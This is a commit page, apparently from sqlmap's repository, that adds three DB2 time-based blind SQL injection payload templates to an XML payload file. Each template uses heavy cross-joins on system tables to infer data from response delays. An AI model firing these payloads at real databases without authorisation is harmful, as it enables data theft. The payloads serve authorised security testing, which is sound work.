Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit d0490cc

Browse files
stamparmstamparm
committed
adding payloads for time-based injection on DB2 (heavy query)
1 parent 36c96ef commit d0490cc

1 file changed

Lines changed: 58 additions & 0 deletions

File tree

‎xml/payloads.xml‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2195,6 +2195,45 @@ Formats:
21952195
<dbms_version>&gt;= 2.0</dbms_version>
21962196
</details>
21972197
</test>
2198+
2199+
<test>
2200+
<title>DB2 AND time-based blind (heavy query)</title>
2201+
<stype>5</stype>
2202+
<level>2</level>
2203+
<risk>2</risk>
2204+
<clause>1,2,3</clause>
2205+
<where>1</where>
2206+
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))</vector>
2207+
<request>
2208+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)</payload>
2209+
</request>
2210+
<response>
2211+
<time>[DELAYED]</time>
2212+
</response>
2213+
<details>
2214+
<dbms>DB2</dbms>
2215+
</details>
2216+
</test>
2217+
2218+
<test>
2219+
<title>DB2 AND time-based blind (heavy query - comment)</title>
2220+
<stype>5</stype>
2221+
<level>5</level>
2222+
<risk>2</risk>
2223+
<clause>1,2,3</clause>
2224+
<where>1</where>
2225+
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))</vector>
2226+
<request>
2227+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)</payload>
2228+
<comment>--</comment>
2229+
</request>
2230+
<response>
2231+
<time>[DELAYED]</time>
2232+
</response>
2233+
<details>
2234+
<dbms>DB2</dbms>
2235+
</details>
2236+
</test>
21982237
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
21992238
<!-- End of AND time-based blind tests -->
22002239

@@ -2376,6 +2415,25 @@ Formats:
23762415
<dbms_version>&gt;= 2.0</dbms_version>
23772416
</details>
23782417
</test>
2418+
2419+
<test>
2420+
<title>DB2 OR time-based blind (heavy query)</title>
2421+
<stype>5</stype>
2422+
<level>3</level>
2423+
<risk>3</risk>
2424+
<clause>1,2,3</clause>
2425+
<where>2</where>
2426+
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))</vector>
2427+
<request>
2428+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)</payload>
2429+
</request>
2430+
<response>
2431+
<time>[DELAYED]</time>
2432+
</response>
2433+
<details>
2434+
<dbms>DB2</dbms>
2435+
</details>
2436+
</test>
23792437
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
23802438
<!-- End of OR time-based blind tests -->
23812439

0 commit comments

Comments
 (0)